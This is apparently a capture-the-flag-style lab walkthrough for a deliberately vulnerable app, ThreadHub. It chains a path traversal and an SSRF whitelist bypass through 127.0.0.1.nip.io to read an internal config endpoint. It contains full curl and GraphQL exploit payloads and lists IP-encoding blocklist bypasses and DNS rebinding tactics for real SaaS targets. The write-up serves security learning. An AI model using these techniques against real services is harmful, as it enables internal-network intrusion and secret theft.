10 min read

ThreadHub Lab: Chaining Secondary-Context Path Traversal and DNS Rebinding into SSRF

ThreadHub Lab: Chaining Secondary-Context Path Traversal and DNS Rebinding into SSRF
A hands-on lab that chains two perfectly legitimate features — an "attachment system" and a "custom enterprise domain" setting — into an internal-network SSRF. The goal: reach, from the outside, a secret config endpoint that is only bound to 127.0.0.1:8080 inside the container.
  • Lab source: https://github.com/Mgsy/lab-threadhub
  • Background reading: the author's blog post "SSRF: Breaking through hidden application context"
  • Environment: WSL2 Kali Linux (Docker + curl)

1. Scenario and objective

ThreadHub is a fictional multi-tenant SaaS team-collaboration platform. Each company (tenant) gets its own subdomain (for example acme.threadhub.lab) and can configure a "custom enterprise domain" for branding.

Platform features:

  • Private team discussion threads (threads / messages)
  • An attachment system that also supports "referencing an existing file"
  • Enterprise custom-domain configuration

Ultimate goal: capture the flag, in the format mgsy.dev{FLAG}, located at:

http://127.0.0.1:8080/internal/config

This endpoint is an internal service inside the container. It has no port mapped externally and is completely unreachable from outside. The only thing that can touch it is the app itself (because they live in the same container). So the whole challenge boils down to a single sentence:

Find a way to make the app fetch its own internal 127.0.0.1:8080 for me — that's SSRF.

2. Environment setup

1. Grab the lab

cd ~/labs
git clone https://github.com/Mgsy/lab-threadhub.git
cd lab-threadhub

2. Set up hosts

The lab distinguishes tenants by subdomain, so you must add the corresponding records to hosts.

WSL2 Kali (/etc/hosts):

echo "127.0.0.1   threadhub.lab"      | sudo tee -a /etc/hosts
echo "127.0.0.1   acme.threadhub.lab" | sudo tee -a /etc/hosts
⚠️ WSL2 gotcha: what you add here is the WSL-internal hosts file. If you want to hit the target from a Windows browser, you also need to edit C:\Windows\System32\drivers\etc\hosts. And if Tailscale is running on the machine, its MagicDNS may intercept resolution and stop the browser from opening the page — the simplest approach is to just open a browser inside WSL (which uses WSL's hosts), or skip the browser entirely and use curl throughout.

3. Start it up

docker compose up --build

On a successful start you'll see the internal service and the main app both come up, and it helpfully prints the seed accounts:

[Internal Service] Running on port 8080
[Database] Users: [email protected] (alice123), [email protected] (bob123)
[ThreadHub] Server running on port 3000

4. Topology

[attacker] ──:80──> nginx ──:3000──> app container
                                     └── internal-service also runs inside (127.0.0.1:8080)  ← flag lives here

The key point: internal-service is bound to 0.0.0.0:8080 inside the app container, with no external port mapping. The app runs on 127.0.0.1:3000. Both are in the same container, so the app can reach the internal service directly via 127.0.0.1:8080.

3. Recon

1. Log in and get a session

curl -s -c cookies.txt -X POST http://acme.threadhub.lab/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"[email protected]","password":"alice123"}'

2. Mine the endpoint map from the frontend JS

The frontend app.js is served by the server to any visitor, so reading it to harvest endpoints is standard black-box technique:

curl -s http://acme.threadhub.lab/js/app.js -o app.js
grep -oE '/api/v1/[a-zA-Z0-9/_-]+|/graphql' app.js | sort -u

Which gives us:

/api/v1/attachments
/api/v1/files
/api/v1/settings/domain
/api/v1/users
/graphql

The two features the README calls out are especially suspicious: the attachment system and the custom domain setting (/settings/domain, which manipulates a whitelist). Meanwhile /graphql hides most of the business logic.

3. Black-box enumerating GraphQL

Introspection is disabled:

{"errors":[{"message":"GraphQL introspection is not allowed by Apollo Server...","extensions":{"code":"GRAPHQL_VALIDATION_FAILED"}}]}

But disabling introspection doesn't stop two things:

  1. The query/mutation strings baked into the frontend JS:
grep -oE '(query|mutation)[[:space:]]+[A-Za-z]+' app.js | sort -u
# → CreateMessageMutation / CreateThread / GetThread / GetThreadMessages
  1. Apollo's error messages spill the correct schema field by field. Deliberately send a wrong structure and let its "Did you mean" hints hand you the answers, coaxing the schema out step by step:
CreateMessageInput = {
  threadId:      ID!
  htmlBody:      String!
  attachmentIds: [String!]     ← a string! not a strict numeric ID
}
attachmentIds being a String rather than a numeric type is the first whiff of path traversal.

4. Map out the normal data flow

Upload an attachment:

echo "hello" > /tmp/test.txt
curl -s -b cookies.txt http://acme.threadhub.lab/api/v1/attachments -F "file=@/tmp/test.txt"

The key fields returned:

{
  "attachment": {
    "id": "da612ead-...",
    "content_url": "http://acme.threadhub.lab/uploads/02b73963-....txt"
  }
}

Next, create a thread and post a message carrying that attachment, and you can observe the full data flow:

you supply an attachmentId
  → backend looks it up in the DB, finds the attachment, reads its content_url
  → backend "actively fetches this content_url" and pulls the content back
  → stores it under /private-attachments/{uuid}/{filename}
  → returns a downloadUrl

The returned fileName is the last segment of the content_url path — a property that later becomes a very handy oracle.

Conclusion so far: at its core this system is "you give it an ID, it goes and fetches the content of some URL for you." The skeleton of an SSRF is already visible; the next step is to turn "the URL it fetches" into one we control.

4. Dissecting the vulnerability chain

From the story-seed thread (the conversation between alice and bob) you can read off a list of defenses — and flipping them around gives you the attack map:

Defense Alice claims Corresponding attack counter
flag only accessible from localhost the app itself is on localhost → force the app to fetch it (SSRF)
all internal IPs blocked can't send a literal IP → use a "domain that resolves to 127.0.0.1"
strict domain whitelist use the custom-domain feature to "add the target to the whitelist"
DNS rebinding / domain tricks are "covered" the author is directly pointing at the solution direction

The full chain is stitched from four gates:

Gate ①: attachment-ID validation is too weak

When an attachmentId isn't in the DB, the backend only checks "does it start with a digit" (/^[0-9]/), so anything beginning with 1/… passes, and you can stuff an arbitrary path after it.

Gate ②: Secondary-Context Path Traversal

When the DB lookup misses, the backend string-concatenates the ID into a metadata query URL:

http://127.0.0.1:3000/api/v1/attachments/{attachmentId}

Node's new URL() normalizes ../, so by controlling attachmentId you can make this "first fetch" jump off to grab a different path — for instance, to fetch a fake metadata JSON we uploaded ourselves to /uploads/.

The key: get the number of levels right (the easiest place to get stuck in this challenge, see Section 6):

injection point: /api/v1/attachments/{here}
to climb out we must escape attachments, v1, api — three levels — plus the "1/" level itself → 4 ../ in total

1/../../../../uploads/xxx.json
  → normalizes → /uploads/xxx.json   ✅

Gate ③: an ordering flaw in the SSRF whitelist

Once it has the metadata, the backend reads the content_url out of it and does a "second fetch" — and this is where the real SSRF happens. The fatal ordering in the protection logic isDomainAllowed:

1. Is this hostname in the whitelist? → yes → allow immediately (skipping ALL the IP blocking below!)
2. (only reached if NOT in the whitelist) compare against blocked patterns: 127. / 10. / 192.168. / ...

The whitelist check runs before the IP block, and a hit means immediate pass-through. And /settings/domain lets you add any domain to the whitelist — it only blocks "literal IPs," but can't stop "a domain with a normal-looking name that resolves to an internal address."

Gate ④: the .threadhub.lab rewrite trap

Just before the fetch there's a snippet: if the hostname ends in .threadhub.lab, the URL is forcibly rewritten back to http://127.0.0.1:3000{path}. That means you can't use an internal tenant domain to hit the flag, because the port gets locked back to 3000 and never reaches 8080. You need a domain that is "not threadhub.lab, yet can enter the whitelist, and resolves to 127.0.0.1."

127.0.0.1.nip.io ticks every box:

  • Ends in .io and looks like a domain → passes the "no literal IPs" check
  • nip.io is wildcard DNS that resolves it to 127.0.0.1
  • Not .threadhub.lab → not rewritten, keeps the :8080
  • Once added to the whitelist → a hit passes immediately, skipping the IP block

5. Full exploit

Step 1: add the magic domain to the whitelist

curl -s -b cookies.txt http://acme.threadhub.lab/api/v1/settings/domain \
  -H 'Content-Type: application/json' \
  -d '{"domain":"127.0.0.1.nip.io"}'
# → {"success":true, ... "added to the whitelist"}

Step 2: upload fake metadata that points at the flag

The /api/v1/files endpoint doesn't restrict extensions, so you can upload a .json directly:

cat > /tmp/evil.json <<'EOF'
{"attachment":{"content_url":"http://127.0.0.1.nip.io:8080/internal/config"}}
EOF

curl -s -b cookies.txt http://acme.threadhub.lab/api/v1/files -F "file=@/tmp/evil.json"
# → returns url: http://acme.threadhub.lab/uploads/<UUID>.json

Step 3: create a thread where "you are a participant"

createMessage first checks whether the sender is a participant of the thread, so when creating it you must add yourself to participantIds (otherwise you get blocked before attachment processing even runs, and it silently returns null):

ALICE=$(curl -s -b cookies.txt http://acme.threadhub.lab/api/v1/users/me | jq -r '.user.id')

curl -s -b cookies.txt http://acme.threadhub.lab/graphql \
  -H 'Content-Type: application/json' \
  -d "{\"query\":\"mutation C(\$input: CreateThreadInput!){ createThread(input:\$input){ id } }\",\"variables\":{\"input\":{\"title\":\"pwn\",\"participantIds\":[\"$ALICE\"]}}}"
# → returns the new thread id

Step 4: trigger it — use the 4-level traversal to fetch the fake metadata

curl -s -b cookies.txt http://acme.threadhub.lab/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"mutation M($input: CreateMessageInput!){ createMessage(input:$input){ message{ attachments{ fileName downloadUrl } } errors } }","variables":{"input":{"threadId":"<THREAD_ID>","htmlBody":"pwn","attachmentIds":["1/../../../../uploads/<UUID>.json"]}}}'

Successful response:

{"data":{"createMessage":{"message":{"attachments":[
  {"fileName":"config","downloadUrl":"/private-attachments/<uuid>/config"}
]},"errors":null}}}

fileName came back as config (the last segment of /internal/config), which means the backend really did fetch 127.0.0.1.nip.io:8080/internal/config.

Step 5: download it and grab the flag

curl -s -b cookies.txt "http://acme.threadhub.lab/private-attachments/<uuid>/config"
{
  ...
  "secrets": {
    "api_key": "mgsy.dev{Redacted}",
    ...
  }
}

🚩 Flag: mgsy.dev{Redacted}

The flag content is the summary in itself — the trust placed in content_url was misplaced: the backend unconditionally believes "the content_url inside attachment metadata," letting an attacker feed it a fake one that redirects it into the internal network.

All four gate bypasses at a glance

Gate Defense design Bypass
① attachment-ID validation only checks "starts with a digit" begin with 1/… to pass, then stuff traversal after it
② Path traversal metadata URL built by string concat 4 levels of ../ to jump to /uploads/ and fetch self-controlled JSON
③ SSRF whitelist whitelist check runs before the IP block add 127.0.0.1.nip.io to the whitelist
④ domain rewrite .threadhub.lab forcibly redirected to 3000 nip.io isn't threadhub.lab, so it isn't rewritten and reaches :8080

6. Debug notes (things I got stuck on)

The most valuable part of this run wasn't the final payload but the agonizing interpretation in the middle. Here are the potholes I actually stepped in, so those who come after can avoid them:

Pothole 1: hang and null are completely different signals

During the attack, different payloads produced two utterly different behaviors. At first I didn't separate them, and it cost me a huge detour:

  • hang (stuck until timeout) = the backend really did go fetch, but the target path lands somewhere nonexistent or that hangs, and it gets stuck halfway.
  • instant null = the flow ran to completion, but "nothing was fetched" (e.g. the traversal is correct but the file hasn't been uploaded yet, or a preceding check blocked it).
Lesson: null means "it finished but came back empty-handed," hang means "it got stuck halfway." The two must be read separately. My very first batch of comparison experiments actually already showed "only level 4 returns null instantly, levels 1–3 all hang" — that null was the signal for the correct level count, it just came back empty because the ammunition (evil.json) wasn't in place yet, and I misread it as failure.

Pothole 2: the traversal level count has to be computed, not guessed

I briefly assumed 1/../../uploads/xxx — two levels — would reach /uploads/. Actually testing Node's normalization revealed:

1/../../uploads/xxx      → /api/v1/uploads/xxx   (still under /api/v1/, path doesn't exist → hang)
1/../../../uploads/xxx   → /api/uploads/xxx      (still under /api/ → hang)
1/../../../../uploads/xxx → /uploads/xxx         (✅ correct)

A little script to verify the level count:

// node t.mjs
for (const id of ["1/../../uploads/x","1/../../../uploads/x","1/../../../../uploads/x"]) {
  console.log(id, "→", new URL(`http://127.0.0.1:3000/api/v1/attachments/${id}`).pathname);
}
Lesson: the number of ../ depends on "how deep in the URL path the injection point sits." However many directory segments are above the injection point is how many levels you climb. This is the core fundamental of path traversal, and the place most people get stuck.

Pothole 3: createMessage's participant pre-check

Creating the thread with an empty participantIds:[] means even you aren't a participant, and createMessage gets blocked with You are not a participant before it ever processes the attachment, silently returning null. When creating the thread, add yourself to the participants.

Lesson: always ask for the errors field in the response too (createMessage{ message{...} errors }), otherwise on failure all you see is message:null — flying blind. With errors as your eyes, you can see clearly whether it succeeded or failed.

7. Real-world parallels

Someone will ask: "Where in the wild do you get an 'add to whitelist' feature handed to you?"

This challenge's whitelist feature is exactly a simulation of a real SaaS enterprise custom domain / Custom Domain feature — Slack, Notion, Zendesk, GitHub Enterprise and others all have similar mechanisms that let enterprise customers bind their own branded domain. To trust the branded domain, the system will often add it to some kind of internal trust list.

The vulnerability isn't in "having the feature," it's in "trusting it unconditionally once added, skipping security checks." Common shapes of real-world SSRF whitelist bypass:

  1. Custom domain doesn't validate the resolution target: you bind evil.com, the system trusts it, but you point evil.com's DNS at 127.0.0.1 (the simplified version of this challenge).
  2. DNS Rebinding: the domain resolves the first time (passing the check) to a normal IP, and at actual fetch time a second resolution secretly changes it to 127.0.0.1. DNS has changed between check and use — the most general approach, requiring no whitelist feature at all.
  3. Inconsistent URL parsing: "is it safe" and "the actual connection" use two different sets of logic that understand the URL differently, causing a bypass.

Even if the system has no custom-domain feature, SSRF still has plenty of entry points: any feature that accepts a URL (webhook, import, thumbnail preview, PDF generator), and any system with only a blocklist and no whitelist (blocklists are trivial to bypass: 0177.0.0.1, 2130706433, hex/octal/full-width numeric encodings, and so on).

From now on, whenever you see any feature in bug bounty that "binds a custom domain / webhook URL / custom callback," you should ask one question: will it trust a domain I control, and go hit its own internal network?